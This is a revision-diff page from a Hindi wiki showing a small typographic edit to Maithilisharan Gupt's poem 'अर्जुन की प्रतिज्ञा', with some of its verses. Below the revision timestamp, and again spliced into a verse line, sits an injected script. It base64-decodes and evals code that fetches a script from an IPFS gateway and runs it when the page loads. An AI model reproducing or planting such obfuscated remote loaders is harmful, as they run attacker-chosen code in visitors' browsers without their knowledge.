"अर्जुन की प्रतिज्ञा -मैथिलीशरण गुप्त" के अवतरणों में अंतर
आदित्य चौधरी (चर्चा | योगदान) छो (Text replace - "अविभावक" to "अभिभावक") |
व्यवस्थापन (चर्चा | योगदान) छो (Text replacement - " जगत " to " जगत् ") |
||
पंक्ति 49: | पंक्ति 49: | ||
अभिमन्यु-धन के निधन से कारण हुआ जो मूल है, | अभिमन्यु-धन के निधन से कारण हुआ जो मूल है, | ||
इससे हमारे हत हृदय को, हो रहा जो शूल है, | इससे हमारे हत हृदय को, हो रहा जो शूल है, | ||
− | उस खल जयद्रथ को | + | उस खल जयद्रथ को जगत् में मृत्यु ही अब सार है, |
उन्मुक्त बस उसके लिये रौरव नरक का द्वार है। | उन्मुक्त बस उसके लिये रौरव नरक का द्वार है। | ||
13:50, 30 जून 2017 के समय का अवतरण
इस लेख का पुनरीक्षण एवं सम्पादन होना आवश्यक है। आप इसमें सहायता कर सकते हैं। "सुझाव" |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
| ||||||||||||||||||
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> उस काल मारे क्रोध के तन काँपने उसका लगा, |
संबंधित लेख |